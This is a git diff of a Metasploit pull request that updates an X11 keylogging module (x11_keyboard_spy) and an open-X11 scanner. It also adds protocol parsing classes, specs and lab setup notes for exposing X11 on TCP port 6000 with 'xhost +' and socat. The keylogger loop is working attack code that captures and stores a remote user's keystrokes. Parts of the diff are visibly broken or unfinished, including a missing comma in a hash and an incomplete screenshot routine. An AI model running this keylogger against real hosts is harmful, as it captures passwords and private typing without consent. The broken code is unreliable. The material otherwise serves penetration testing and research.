diff --git a/documentation/modules/auxiliary/gather/x11_keyboard_spy.md b/documentation/modules/auxiliary/gather/x11_keyboard_spy.md
index 8aae87977d9b..df7b85fbff26 100644
--- a/documentation/modules/auxiliary/gather/x11_keyboard_spy.md
+++ b/documentation/modules/auxiliary/gather/x11_keyboard_spy.md
@@ -1,12 +1,92 @@
-The following is the recommended format for module documentation. But feel free to add more content/sections to this.
-One of the general ideas behind these documents is to help someone troubleshoot the module if it were to stop
-functioning in 5+ years, so giving links or specific examples can be VERY helpful.
-
## Vulnerable Application
-Instructions to get the vulnerable application. If applicable, include links to the vulnerable install
-files, as well as instructions on installing/configuring the environment if it is different than a
-standard install. Much of this will come from the PR, and can be copy/pasted.
+This module binds to an open X11 host to log keystrokes. The X11 service can accept
+connections from any users when misconfigured with the command `xhost +`.
+This module is a close copy of the old xspy c program which has been on Kali for a long time.
+The module works by connecting to the X11 session, creating a background
+window, binding a keyboard to it and creating a notification alert when a key
+is pressed.
+
+One of the major limitations of xspy, and thus this module, is that it polls
+at a very fast rate. Faster than a key being pressed is released (especially before
+the repeat delay is hit). To combat printing multiple characters for a single key
+press, repeat characters are ignored.
+
+### Ubuntu 10.04
+
+1. `sudo nano /etc/gdm/gdm.schemas`
+2. Find:
+
+ ```
+
+ security/DisallowTCP
+ b
+ true
+
+ ```
+ - Change `true` to `false`
+
+3. logout or reboot
+4. Verification: ```sudo netstat -antp | grep 6000```
+
+ ```
+ tcp 0 0 0.0.0.0:6000 0.0.0.0:* LISTEN 1806/X
+ ```
+
+5. Now, to verify you allow ANYONE to get on X11, type: `xhost +`
+
+### Ubuntu 12.04, 14.04
+
+1. `sudo nano /etc/lightdm/lightdm.conf`
+2. Under the `[SeatDefaults]` area, add:
+
+ ```
+ xserver-allow-tcp=true
+ allow-guest=true
+ ```
+
+3. logout or reboot
+4. Verification: ```sudo netstat -antp | grep 6000```
+
+ ```
+ tcp 0 0 0.0.0.0:6000 0.0.0.0:* LISTEN 1806/X
+ ```
+
+5. Now, to verify you allow ANYONE to get on X11, type: `xhost +`
+
+### Ubuntu 16.04
+
+ Use the Ubuntu 12.04 instructions, however change `SeatDefaults` to `Seat:*`
+
+### Fedora 15
+
+1. `vi /etc/gdm/custom.conf`
+2. Under the `[security]` area, add:
+
+ ```
+ DisallowTCP=false
+ ```
+
+3. logout/reboot
+4. Now, to verify you allow ANYONE to get on X11, type: `xhost +`
+
+### Solaris 10
+
+1. `svccfg -s svc:/application/x11/x11-server setprop options/tcp_listen = true`
+2. `svc disable cde-login`
+3. `svc enable cde-login`
+4. `xhost +`
+
+### Ubuntu 22.04
+
+#### Server
+
+Getting X11 to listen on a TCP port is rather taxing, so we use socat to facilitate instead.
+
+1. `sudo apt-get install ubuntu-desktop socat` # overkill but it gets everything we need
+2. `sudo reboot` # prob a good idea since so much was installed
+3. `sudo xhost +` # must be done through gui, not through SSH
+4. `socat -d -d TCP-LISTEN:6000,fork,bind= UNIX-CONNECT:/tmp/.X11-unix/X0`
## Verification Steps
Example steps in this format (is also in the PR):
@@ -42,3 +122,7 @@ msf > use module_name
msf auxiliary(module_name) > set POWERLEVEL >9000
msf auxiliary(module_name) > exploit
```
+
+## Confirming
+
+To keylog the remote host, we use a tool called [xspy](http://tools.kali.org/sniffingspoofing/xspy)
\ No newline at end of file
diff --git a/lib/msf/core/exploit/remote/x11.rb b/lib/msf/core/exploit/remote/x11.rb
index 8d7cfd5ef792..c9b0d49c0db8 100644
--- a/lib/msf/core/exploit/remote/x11.rb
+++ b/lib/msf/core/exploit/remote/x11.rb
@@ -11,6 +11,7 @@ module Msf::Exploit::Remote::X11
include Msf::Exploit::Remote::X11::Extensions
include Msf::Exploit::Remote::X11::Xkeyboard
include Msf::Exploit::Remote::X11::Keysymdef
+ include Msf::Exploit::Remote::X11::Window
class X11GETPROPERTYRESPONSE < BinData::Record
endian :little
@@ -33,7 +34,7 @@ class X11GETPROPERTY < BinData::Record
uint8 :delete_field, initial_value: 0 # \x00 false, assuming \x01 true?
uint16 :request_length, value: -> { num_bytes / 4 }
uint32 :window # X11CONNECTION.screen_root
- uint32 :property, value: 23 # "\x17\x00\x00\x00" RESOURCE_MANAGER
+ uint32 :property, initial_value: 23 # "\x17\x00\x00\x00" RESOURCE_MANAGER
uint32 :get_property_type, value: 31 # "\x1f\x00\x00\x00" # get-property-type (31 = string)
uint32 :long_offset, value: 0
uint32 :content_length, value: 100_000_000 # "\x00\xe1\xf5\x05"
@@ -116,4 +117,14 @@ class X11GETINPUTFOCUSREQUEST < BinData::Record
uint8 :unused
uint16 :request_length, value: -> { num_bytes / 4 }
end
-end
+
+ class X11INTERNATOM < BinData::Record
+ endian :little
+ uint8 :opcode, value: 16 #InternAtom
+ uint8 :only_if_exists, initial_value: 0 # 0 false, 1 true?
+ uint16 :request_length, value: -> { num_bytes / 4 }
+ uint16 :name_length, value: -> { name.to_s.length }
+ uint16 :unused, initial_value: 0
+ string :name, trim_padding: true
+ end
+end
\ No newline at end of file
diff --git a/lib/msf/core/exploit/remote/x11/connect.rb b/lib/msf/core/exploit/remote/x11/connect.rb
index 999114d81c83..3b1a16bbe07b 100644
--- a/lib/msf/core/exploit/remote/x11/connect.rb
+++ b/lib/msf/core/exploit/remote/x11/connect.rb
@@ -99,4 +99,4 @@ class X11CONNECTIONREQUEST < BinData::Record
uint16 :authorization_protocol_data_length, value: 0
uint16 :unused2, value: 0
end
-end
+end
\ No newline at end of file
diff --git a/lib/msf/core/exploit/remote/x11/extensions.rb b/lib/msf/core/exploit/remote/x11/extensions.rb
index c0ae9e9e1f57..56d54a6fa0bc 100644
--- a/lib/msf/core/exploit/remote/x11/extensions.rb
+++ b/lib/msf/core/exploit/remote/x11/extensions.rb
@@ -41,4 +41,4 @@ def versions?
wanted_major.nonzero? || wanted_minor.nonzero?
end
end
-end
+end
\ No newline at end of file
diff --git a/lib/msf/core/exploit/remote/x11/keysymdef.rb b/lib/msf/core/exploit/remote/x11/keysymdef.rb
index 53265e0aa292..2bb3b1e13210 100644
--- a/lib/msf/core/exploit/remote/x11/keysymdef.rb
+++ b/lib/msf/core/exploit/remote/x11/keysymdef.rb
@@ -111,7 +111,7 @@ module Msf::Exploit::Remote::X11::Keysymdef
65500 => '[F31]', # XK_F31
65501 => '[F32]', # XK_F32
65502 => '[F33]', # XK_F33
- 65503 => '[F34]', # XK_F34
+ 65503 => '[F34]', # XK_F34
65504 => '[F35]', # XK_F35
65505 => '[Shift_L]', # XK_Shift_L
65506 => '[Shift_R]', # XK_Shift_R
@@ -128,4 +128,4 @@ module Msf::Exploit::Remote::X11::Keysymdef
65517 => '[Hyper_L]', # XK_Hyper_L
65518 => '[Hyper_R]' # XK_Hyper_R
}
-end
+end
\ No newline at end of file
diff --git a/lib/msf/core/exploit/remote/x11/window.rb b/lib/msf/core/exploit/remote/x11/window.rb
new file mode 100644
index 000000000000..38d92298225e
--- /dev/null
+++ b/lib/msf/core/exploit/remote/x11/window.rb
@@ -0,0 +1,77 @@
+# -*- coding: binary -*-
+
+#
+# This mixin is a simplistic implementation of X11 extensions protocol
+#
+# Wireshark dissector: https://wiki.wireshark.org/X11
+#
+
+module Msf::Exploit::Remote::X11::Window
+ class GETREQUEST < BinData::Record
+ endian :little
+ uint8 :opcode # 3 = GetWindowAttributes, 14 = GetGeometry
+ uint8 :unused # XXX seems to be increasing counter...
+ uint16 :request_length, value: -> { num_bytes / 4 }
+ uint32 :window
+ end
+
+ class GETWINDOWATTRIBUTESRESPONSE < BinData::Record
+ endian :little
+
+ uint8 :depth
+ uint16 :visual_id
+ uint8 :class_name
+ uint8 :bit_gravity
+ uint8 :win_gravity
+ uint32 :backing_planes
+ uint32 :backing_pixel
+ uint8 :save_under
+ uint8 :map_is_installed
+ uint8 :map_state
+ uint8 :override_redirect
+ uint32 :colormap
+ uint32 :all_event_masks
+ uint32 :your_event_mask
+ uint16 :do_not_propagate_mask
+ end
+
+ class GetGeometryResponse < BinData::Record
+ endian :little
+
+ uint8 :depth
+ uint32 :root
+ uint16 :x
+ uint16 :y
+ uint16 :width
+ uint16 :height
+ uint16 :border_width
+ end
+
+ class TRANSLATECOORDINATESREQUEST < BinData::Record
+ endian :little
+ uint8 :opcode, value: 40 # TranslateCoordinates
+ uint8 :unused # XXX seems to be increasing counter...
+ uint16 :request_length, value: -> { num_bytes / 4 }
+ uint32 :src_window
+ uint32 :dst_window
+ uint16 :src_x
+ uint16 :src_y
+ end
+
+ class QUERYTREEREQUEST < BinData::Record
+ endian :little
+ uint8 :opcode, value: 15 # QueryTree
+ uint8 :unused, value: 1 # XXX counter?
+ uint16 :request_length, value: -> { num_bytes / 4 }
+ uint32 :drawable
+ end
+
+ class QUERYTREERESPONSE < BinData::Record
+ endian :little
+ uint8 :root
+ uint8 :parent_id
+ uint16 :n_children
+ array :children, type: :uint32le, initial_length: :n_children
+ array :tree, type: :uint8, read_until: :eof
+ end
+end
diff --git a/lib/msf/core/exploit/remote/x11/xkeyboard.rb b/lib/msf/core/exploit/remote/x11/xkeyboard.rb
index 0055a8229f7c..6386f7296eef 100644
--- a/lib/msf/core/exploit/remote/x11/xkeyboard.rb
+++ b/lib/msf/core/exploit/remote/x11/xkeyboard.rb
@@ -7,18 +7,18 @@
#
module Msf::Exploit::Remote::X11::Xkeyboard
- class X11XKBKEYMODMAP < BinData::Record
+ class KEYMODMAP < BinData::Record
endian :little
uint8 :keycode
uint8 :mods # bit array, shift, lock, control, 1, 2, 3, 4, 5
end
- class X11XKBSYM < BinData::Record
+ class SYM < BinData::Record
endian :little
uint32 :syms
end
- class X11XKBKEYSYMENTRY < BinData::Record
+ class KEYSYMENTRY < BinData::Record
endian :little
uint32 :kt_index
uint8 :group_info
@@ -26,18 +26,18 @@ class X11XKBKEYSYMENTRY < BinData::Record
uint16 :n_syms
# next we have a list of syms, length is n_syms
array :key_sym_array,
- type: :X11XKBSYM,
+ type: :SYM,
initial_length: :n_syms
end
- class X11XKBMODDEF < BinData::Record
+ class MODDEF < BinData::Record
endian :little
uint8 :mask
uint8 :real_mods
uint16 :vmods
end
- class X11XKBKEYMAPENTRY < BinData::Record
+ class KEYMAPENTRY < BinData::Record
endian :little
uint8 :active
uint8 :mods_mask # bit array, shift, lock, control, 1, 2, 3, 4, 5
@@ -47,7 +47,7 @@ class X11XKBKEYMAPENTRY < BinData::Record
uint16 :unused
end
- class X11XKBKEYTYPE < BinData::Record
+ class KEYTYPE < BinData::Record
endian :little
uint8 :mods_mask
uint8 :mods_mods
@@ -56,13 +56,13 @@ class X11XKBKEYTYPE < BinData::Record
uint8 :n_map_entries
uint8 :has_preserve # 8bit boolean, \x01 == true \x00 == false
uint8 :unused
- # next we have a list of X11XKBKEYMAPENTRY, length is :n_map_entries
+ # next we have a list of KEYMAPENTRY, length is :n_map_entries
array :key_map_array,
- type: :X11XKBKEYMAPENTRY,
+ type: :KEYMAPENTRY,
initial_length: :n_map_entries
# not sure how to tell how many of these there are
array :key_mods_array,
- type: :X11XKBMODDEF,
+ type: :MODDEF,
initial_length: :n_map_entries,
onlyif: -> { has_preserve == 1 }
end
@@ -177,17 +177,17 @@ class GETMAPREPLY < BinData::Record
uint8 :total_vmod_map_key
uint8 :unused1
uint16 :virtual_mods # bit array
- # next we have a list of X11XKBKEYTYPE, length is :total_types
+ # next we have a list of KEYTYPE, length is :total_types
array :key_types_array,
- type: :X11XKBKEYTYPE,
+ type: :KEYTYPE,
initial_length: :n_types
- # next we have a list of X11XKBKEYSYMENTRY
+ # next we have a list of KEYSYMENTRY
array :key_map_array,
- type: :X11XKBKEYSYMENTRY,
+ type: :KEYSYMENTRY,
initial_length: :n_key_sym
- # next we have a list of X11XKBKEYMODMAP
+ # next we have a list of KEYMODMAP
array :key_mod_map_array,
- type: :X11XKBKEYMODMAP,
+ type: :KEYMODMAP,
initial_length: :total_mod_map_key
uint16 :unused2, onlyif: :padding? # this onlyif may be wrong, its a guess for the time being
@@ -357,4 +357,23 @@ class QUERYKEYMAPREPLY < BinData::Record
type: :uint8,
read_until: :eof
end
-end
+
+ class BELLREQUEST < BinData::Record
+ endian :little
+ uint8 :xkeyboard_id # opcode
+ uint8 :extension_minor, value: 3 # Bell
+ uint16 :request_length, value: -> { num_bytes / 4 }
+ uint16 :device_spec, value: 256 # XXX does this come from elsewhere?
+ uint16 :bell_class, value: 768
+ uint16 :bell_id, value: 1024
+ uint8 :percent, initial_value: 50 # xxx do we want to change this?
+ uint8 :force_sound, initial_value: 0 # 0 = false, 1 true?
+ uint8 :sound_only, initial_value: 0 # 0 = false, 1 true?
+ uint8 :unused
+ uint16 :pitch, initial_value: 0
+ uint16 :duration, initial_value: 0
+ uint16 :unused2
+ uint32 :name, initial_value: 816 # XXX do we see this elsewhere?
+ uint32 :window
+ end
+end
\ No newline at end of file
diff --git a/modules/auxiliary/gather/x11_keyboard_spy.rb b/modules/auxiliary/gather/x11_keyboard_spy.rb
index da54af30e732..b482a4c6907f 100644
--- a/modules/auxiliary/gather/x11_keyboard_spy.rb
+++ b/modules/auxiliary/gather/x11_keyboard_spy.rb
@@ -19,12 +19,13 @@ def initialize(info = {})
The module works by connecting to the X11 session, creating a background
window, binding a keyboard to it and creating a notification alert when a key
is pressed.
+
One of the major limitations of xspy, and thus this module, is that it polls
- at a very fast rate, faster than a key being pressed is released (especiall before
+ at a very fast rate, faster than a key being pressed is released (especially before
the repeat delay is hit). To combat printing multiple characters for a single key
- press, repeat characters arent printed. If a repeat character is pressed on the
- keyboard, it will unfortunately be ignored.
- socat -d -d TCP-LISTEN:6000,fork,bind=127.0.0.1 UNIX-CONNECT:/tmp/.X11-unix/X1
+ press, repeat characters arent printed when typed in a very fast manor. This is also
+ an imperfect keylogger in that keystrokes arent stored and forwarded but status
+ displayed at poll time. Keys may be repeated or missing.
},
'License' => MSF_LICENSE,
'Author' => [
@@ -44,11 +45,14 @@ def initialize(info = {})
'Reliability' => [],
'SideEffects' => [],
'AKA' => ['xspy']
+ 'RelatedModules' => [
+ 'auxiliary/scanner/x11/open_x11',
+ ]
}
)
)
register_options [
- OptInt.new('ListenerTimeout', [ true, 'The maximum number of seconds to keylog', 600 ]) # 10minutes
+ OptInt.new('ListenerTimeout', [ true, 'The maximum number of seconds to keylog', 600 ]) # 10 minutes
]
end
@@ -129,21 +133,20 @@ def build_sym_key_map(map_data)
end
# TBH still don't really understand exactly how this works, but it does.
- def print_keystroke(bit_array_of_keystrokes, key_map)
+ def print_keystroke(bit_array_of_keystrokes, key_map, last_key_press_array)
# Iterate through each byte of keyboard state
- 32.times do |i|
+ bit_array_of_keystrokes.each_with_index do |keyboard_state_byte, byte_index|
+ next if last_key_press_array[byte_index] == keyboard_state_byte
# Check each bit within the byte
8.times do |j|
- next unless bit_array_of_keystrokes[i] & (1 << j) != 0
+ next unless keyboard_state_byte & (1 << j) != 0
# Key at position (i*8 + j) is pressed
- keycode = i * 8 + j
- keysym = key_map[keycode]
+ keycode = byte_index * 8 + j
- print_line(keysym) unless @previous_character == keysym
- @keylogger_log += keysym unless @previous_character == keysym
-
- @previous_character = keysym
+ keysym = key_map[keycode]
+ print_line(keysym)
+ @keylogger_log += keysym
end
end
end
@@ -217,9 +220,10 @@ def run
vprint_status('(9/9) Creating local keyboard map')
key_map = build_sym_key_map(map_data)
+ last_key_press_array = Array.new(32, 0)
+ empty = Array.new(32, 0)
print_good('All setup, watching for keystrokes')
- @previous_character = ''
# loop mechanics stolen from exploit/multi/handler
stime = Time.now.to_f
timeout = datastore['ListenerTimeout'].to_i
@@ -229,28 +233,17 @@ def run
sock.put(QUERYKEYMAPREQUEST.new.to_binary_s)
bit_array_of_keystrokes = QUERYKEYMAPREPLY.read(sock.get_once(-1, 1)).data
-
- print_keystroke(bit_array_of_keystrokes, key_map)
-
- # So we have a timing problem here. The c code does a 10 usec sleep via select
- # https://gitlab.com/kalilinux/packages/xspy/-/blob/kali/master/Xspy.c?ref_type=heads#L79
- # when we try to replicate with either ruby sleep(0.00001), orRex.sleep(0.00001), we see
- # both give a .2 second sleep which is FAR too slow for typing, we miss about 50%
- # of typed characters at the author's typing speed.
- #
- # However, no sleep gives us repeated alternating characters for whatever reason
- # so 'the' would give ththththththe. Still working on how to get around this
- stall_start = Time.now
- while (Time.now - stall_start < 0.001)
- sock.put(QUERYKEYMAPREQUEST.new.to_binary_s)
- sock.get_once(-1, 1)
- # don't print, we're using this to slow things down
- end
+ # we poll FAR quicker than a normal key press, so we need to filter repeats
+ next if bit_array_of_keystrokes == last_key_press_array # skip repeats
+
+ print_keystroke(bit_array_of_keystrokes, key_map, last_key_press_array) unless bit_array_of_keystrokes == empty
+ last_key_press_array = bit_array_of_keystrokes
end
ensure
vprint_status('Closing X11 connection')
sock.put(X11FREEGRAPHICALCONTEXTREQUEST.new(gc: connection.resource_id_base).to_binary_s +
X11GETINPUTFOCUSREQUEST.new.to_binary_s)
+ disconnect
unless @keylogger_log == ''
loot_path = store_loot(
@@ -266,4 +259,4 @@ def run
end
end
end
-end
+end
\ No newline at end of file
diff --git a/modules/auxiliary/scanner/x11/open_x11.rb b/modules/auxiliary/scanner/x11/open_x11.rb
index 67db1cbb26b1..e71728001592 100644
--- a/modules/auxiliary/scanner/x11/open_x11.rb
+++ b/modules/auxiliary/scanner/x11/open_x11.rb
@@ -4,70 +4,121 @@
##
class MetasploitModule < Msf::Auxiliary
- include Msf::Exploit::Remote::Tcp
- include Msf::Auxiliary::Scanner
- include Msf::Auxiliary::Report
+ include Exploit::Remote::Tcp
+ include Auxiliary::Scanner
+ include Auxiliary::Report
+ include Exploit::Remote::X11
def initialize
super(
'Name' => 'X11 No-Auth Scanner',
'Description' => %q{
This module scans for X11 servers that allow anyone
- to connect without authentication.
+ to connect without authentication. It can optionally take
+ a screenshot as well.
},
- 'Author' => ['tebo '],
+ 'Author' => [
+ 'tebo ', # original module
+ 'h00die' # X11 library, screenshot updates
+ ],
'References' =>
[
['OSVDB', '309'],
['CVE', '1999-0526'],
],
- 'License' => MSF_LICENSE
+ 'License' => MSF_LICENSE,
+ 'Notes' => {
+ 'Stability' => [CRASH_SAFE],
+ 'SideEffects' => [],
+ 'Reliability' => [],
+ 'RelatedModules' => [
+ 'auxiliary/gather/x11_keyboard_spy',
+ ]
+ }
)
register_options([
- Opt::RPORT(6000)
+ Opt::RPORT(6000),
+ OptBool.new('SCREENSHOT', [ false, 'Save a screenshot to loot', true ]),
])
end
+ def take_screenshot(connection)
+ query_extension_calls = 0
+ # query extension bit requests
+ sock.put(QUERYEXTENSION.new(extension: 'BIG-REQUESTS', unused2: query_extension_calls).to_binary_s) # check if BIG-REQUESTS exist, not sure why
+ query_extension_calls += 1
+ big_requests_plugin = process_extension_query(sock.get_once(-1, 1), 'BIG-REQUESTS')
+
+ # enable big requests
+ sock.put(EXTENSIONTOGGLE.new(opcode: big_requests_plugin.major_opcode).to_binary_s) # not sure why we do this
+ sock.get_once(-1, 1)
+ # createGC, GetProperties
+ sock.put(X11CREATEGRAPHICALCONTEXTREQUEST.new(cid: connection.resource_id_base,
+ drawable: connection.screen_root,
+ gc_value_mask_background: 1).to_binary_s +
+ X11GETPROPERTY.new(window: connection.screen_root).to_binary_s) # not sure why we do this
+ sock.get_once(-1, 1)
+ # InternAtom wait
+ sock.put(X11INTERNATOM.new(name: "Wait").to_binary_s)
+ sock.get_once(-1, 1)
+ # xkeyboard-bell
+ sock.put(BELLREQUEST.new().to_binary_s)
+ sock.get_once(-1, 1)
+ # getwindowattributes+getgeometry
+ sock.put(X11GETPROPERTY.new(window: connection.screen_root,
+ property: 39, # WM_Name
+ get_property_type: 31 # string
+ ).to_binary_s) # not sure why we do this
+ # translatecoordinates
+ # getproperty
+ # InternAtom server_overlay_visuals
+ sock.put(X11INTERNATOM.new(name: "SERVER_OVERLAY_VISUALS").to_binary_s)
+ # getwindowattributes+getgeometry
+ # querytree
+ sock.put(QUERYTREEREQUEST.new().to_binary_s)
+ tree = QUERYTREERESPONSE.read(sock.get_once(-1, 1))
+ # getwindowattributes+getgeometry
+ end
+
def run_host(ip)
begin
connect
-
- # X11.00 Null Auth Connect
- sock.put("\x6c\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00")
- response = sock.get_once
-
- disconnect
-
- if response
- success = response[0,1].unpack('C')[0]
- else
- print_error("No response received due to a timeout")
- return
- end
-
-
- if(success == 1)
- vendor_len = response[24,2].unpack('v')[0]
- vendor = response[40,vendor_len].unpack('A*')[0]
- print_good("#{ip} Open X Server (#{vendor})")
- # Add Report
- report_note(
- :host => ip,
- :proto => 'tcp',
- :sname => 'x11',
- :port => rport,
- :type => 'Open X Server',
- :data => "Open X Server (#{vendor})"
- )
- elsif (success == 0)
- print_error("#{ip} Access Denied")
- else
- # X can return a reason for auth failure but we don't really care for this
+ sock.put(X11CONNECTIONREQUEST.new.to_binary_s) # x11 session establish
+ packet = sock.get_once(-1, 1)
+ begin
+ connection = X11CONNECTION.read(packet)
+ rescue EOFError
+ vprint_bad("Connection packet malfored (size: #{packet.length}), attempting to get read more data")
+ packet += sock.get_once(-1, 1)
+ begin
+ connection = X11CONNECTION.read(packet)
+ if connection.success == 1
+ print_good("#{ip} - Successly established X11 connection")
+ vprint_status(" Vendor: #{connection.vendor}")
+ vprint_status(" Version: #{connection.protocol_version_major}.#{connection.protocol_version_minor}")
+ vprint_status(" Screen Resolution: #{connection.screen_width_in_pixels}x#{connection.screen_height_in_pixels}")
+ vprint_status(" Resource ID: #{connection.resource_id_base.inspect}")
+ vprint_status(" Screen root: #{connection.screen_root.inspect}")
+ report_note(
+ :host => ip,
+ :proto => 'tcp',
+ :sname => 'x11',
+ :port => rport,
+ :type => 'x11.server_vendor',
+ :data => "Open X Server (#{connection.vendor})"
+ )
+ else
+ vprint_error("#{ip} Access Denied")
+ end
+ rescue StandardError
+ vprint_bad('Failed to parse X11 connection initialization response packet')
+ end
end
-
+
+ disconnect
rescue ::Rex::ConnectionError
rescue ::Errno::EPIPE
end
diff --git a/spec/lib/msf/core/exploit/remote/x11.rb b/spec/lib/msf/core/exploit/remote/x11.rb
index b8e93c88e1c7..3edd6e4207a9 100644
--- a/spec/lib/msf/core/exploit/remote/x11.rb
+++ b/spec/lib/msf/core/exploit/remote/x11.rb
@@ -41,6 +41,10 @@
"\x3c\x01\x02\x00\x00\x00\x00\x02"
end
+ let(:intern_atom) do
+ "\x10\x00\x03\x00\x04\x00\x00\x00\x57\x61\x69\x74"
+ end
+
describe 'handles GetProperty response' do
it do
response = Msf::Exploit::Remote::X11::X11GETPROPERTYRESPONSE.read(get_property_resp)
@@ -98,4 +102,21 @@
expect(request.gc).to eq(33554432)
end
end
-end
+
+
+ describe 'creates a InternAtom request' do
+ it do
+ request = Msf::Exploit::Remote::X11::X11INTERNATOM.read(intern_atom)
+ expect(request.opcode).to eq(16)
+ expect(request.request_length).to eq(3)
+ expect(request.name).to eq("Wait")
+ expect(request.only_if_exists).to eq(0)
+
+ request = Msf::Exploit::Remote::X11::X11INTERNATOM.new(
+ name: "Wait",
+ )
+ expect(request.to_binary_s).to eq(intern_atom)
+ end
+ end
+
+end
\ No newline at end of file
diff --git a/spec/lib/msf/core/exploit/remote/x11/connect.rb b/spec/lib/msf/core/exploit/remote/x11/connect.rb
index fea24f62a049..14b440bbf5aa 100644
--- a/spec/lib/msf/core/exploit/remote/x11/connect.rb
+++ b/spec/lib/msf/core/exploit/remote/x11/connect.rb
@@ -1249,4 +1249,4 @@
expect(response.screen_height_in_pixels).to eq(832)
end
end
-end
+end
\ No newline at end of file
diff --git a/spec/lib/msf/core/exploit/remote/x11/extensions.rb b/spec/lib/msf/core/exploit/remote/x11/extensions.rb
index 108e0b7a1132..cd3abf26f14b 100644
--- a/spec/lib/msf/core/exploit/remote/x11/extensions.rb
+++ b/spec/lib/msf/core/exploit/remote/x11/extensions.rb
@@ -65,4 +65,4 @@
expect(request.to_binary_s).to eq(enable_134)
end
end
-end
+end
\ No newline at end of file
diff --git a/spec/lib/msf/core/exploit/remote/x11/window.rb b/spec/lib/msf/core/exploit/remote/x11/window.rb
new file mode 100644
index 000000000000..c238e595fd2c
--- /dev/null
+++ b/spec/lib/msf/core/exploit/remote/x11/window.rb
@@ -0,0 +1,158 @@
+# -*- coding: binary -*-
+
+require 'spec_helper'
+
+RSpec.describe Msf::Exploit::Remote::X11::Window do
+ subject do
+ mod = ::Msf::Exploit.new
+ mod.extend described_class
+
+ mod.send(:initialize)
+ mod
+ end
+
+ let(:get_window_attributes) do
+ "\x03\x03\x02\x00\x28\x05\x00\x00"
+ end
+
+ let(:get_geometry) do
+ "\x0e\x04\x02\x00\x28\x05\x00\x00"
+ end
+
+ let(:translate_request) do
+ "\x28\x03\x04\x00\x28\x05\x00\x00\x28\x05\x00\x00\x00\x00\x00\x00"
+ end
+
+ let(:querytree_request) do
+ "\x0f\x01\x02\x00\x28\x05\x00\x00"
+ end
+
+ let(:querytree_response) do
+ "\x01\x00\x10\x00\x48\x00\x00\x00\x28\x05\x00\x00\x00\x00\x00\x00" \
+ "\x48\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
+ "\x10\x00\x40\x00\x08\x00\x20\x00\x01\x00\x40\x00\x06\x00\x40\x00" \
+ "\x07\x00\x40\x00\x08\x00\x40\x00\x0e\x00\x40\x00\x0f\x00\x40\x00" \
+ "\x11\x00\x40\x00\x01\x00\xc0\x00\x01\x00\xa0\x00\x01\x00\x80\x00" \
+ "\x01\x00\x60\x01\x01\x00\xe0\x00\x01\x00\x40\x01\x01\x00\x20\x01" \
+ "\x03\x00\x20\x01\x01\x00\x80\x01\x02\x00\x40\x01\x01\x00\xa0\x01" \
+ "\x1a\x00\x40\x00\x02\x00\xc0\x01\x01\x00\xe0\x01\x01\x00\x60\x02" \
+ "\x02\x00\x60\x02\x06\x00\x60\x02\x01\x00\x20\x02\x01\x00\xa0\x02" \
+ "\x01\x00\xe0\x02\x05\x05\x40\x00\x0c\x00\x20\x02\x35\x0b\x40\x00" \
+ "\xd6\x0c\x40\x00\xf6\x1a\x40\x00\x03\x1c\x40\x00\x70\x1f\x40\x00" \
+ "\xda\x29\x40\x00\xc4\x2a\x40\x00\xcc\x39\x40\x00\xb3\x3a\x40\x00" \
+ "\x35\x3c\x40\x00\x7c\x3f\x40\x00\x03\x40\x40\x00\x89\x40\x40\x00" \
+ "\xb6\x42\x40\x00\xc3\x43\x40\x00\x1a\x48\x40\x00\x64\x4a\x40\x00" \
+ "\x05\x4d\x40\x00\xc9\x4d\x40\x00\xcb\x4d\x40\x00\xcd\x4d\x40\x00" \
+ "\xa5\x58\x40\x00\xe7\x5a\x40\x00\x96\x63\x40\x00\x04\x00\x00\x01" \
+ "\x01\x00\x40\x02\x08\x00\x00\x01\x14\x00\x00\x01\x28\x00\x00\x01" \
+ "\xa0\x00\x00\x01\xae\x6a\x40\x00\xc9\x6c\x40\x00\xf5\x02\x00\x01" \
+ "\x99\x03\x00\x01\x5c\x6d\x40\x00\x01\x00\x80\x02\x03\x00\x80\x02" \
+ "\x0a\x00\x60\x02\x13\x69\x40\x00\x08\x00\x80\x02\x0a\x00\x40\x00"
+ end
+
+ let(:windowattributes_response) do
+ "\x01\x00\x11\x00\x03\x00\x00\x00\x21\x00\x00\x00\x02\x00\x00\x01" \
+ "\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x02\x01\x00\x00\x00\x00" \
+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+ end
+
+ let(:getgeometry_response) do
+ "\x01\x00\x12\x00\x00\x00\x00\x00\x28\x05\x00\x00\x00\x00\x00\x00" \
+ "\xbe\x03\x40\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+ end
+
+ describe 'creates GET requests for different functions' do
+ it do
+ # test against packet pulled from wireshark
+ request = Msf::Exploit::Remote::X11::Window::GETREQUEST.read(get_window_attributes)
+ expect(request.opcode).to eq(3)
+ expect(request.request_length).to eq(2)
+ expect(request.window).to eq(1320)
+
+ request = Msf::Exploit::Remote::X11::Window::GETREQUEST.new(
+ window: 1320,
+ opcode: 3,
+ unused: 3
+ )
+ expect(request.to_binary_s).to eq(get_window_attributes)
+
+ request = Msf::Exploit::Remote::X11::Window::GETREQUEST.read(get_geometry)
+ expect(request.opcode).to eq(14)
+ expect(request.request_length).to eq(2)
+ expect(request.window).to eq(1320)
+
+ request = Msf::Exploit::Remote::X11::Window::GETREQUEST.new(
+ window: 1320,
+ opcode: 14,
+ unused: 4
+ )
+ expect(request.to_binary_s).to eq(get_geometry)
+ end
+ end
+
+ describe 'creates TranslateCoordinates request' do
+ it do
+ # test against packet pulled from wireshark
+ request = Msf::Exploit::Remote::X11::Window::TRANSLATECOORDINATESREQUEST.read(translate_request)
+ expect(request.opcode).to eq(40)
+ expect(request.request_length).to eq(4)
+ expect(request.src_window).to eq(1320)
+ expect(request.dst_window).to eq(1320)
+ expect(request.src_x).to eq(0)
+ expect(request.src_y).to eq(0)
+
+ request = Msf::Exploit::Remote::X11::Window::TRANSLATECOORDINATESREQUEST.new(
+ src_window: 1320,
+ dst_window: 1320,
+ opcode: 40,
+ unused: 3
+ )
+ expect(request.to_binary_s).to eq(translate_request)
+ end
+ end
+
+ describe 'creates QueryTree request' do
+ it do
+ # test against packet pulled from wireshark
+ request = Msf::Exploit::Remote::X11::Window::QUERYTREEREQUEST.read(querytree_request)
+ expect(request.opcode).to eq(15)
+ expect(request.request_length).to eq(2)
+
+ request = Msf::Exploit::Remote::X11::Window::QUERYTREEREQUEST.new(
+ drawable: 1320
+ )
+ expect(request.to_binary_s).to eq(querytree_request)
+ end
+ end
+
+ describe 'handles QueryTree response' do
+ it do
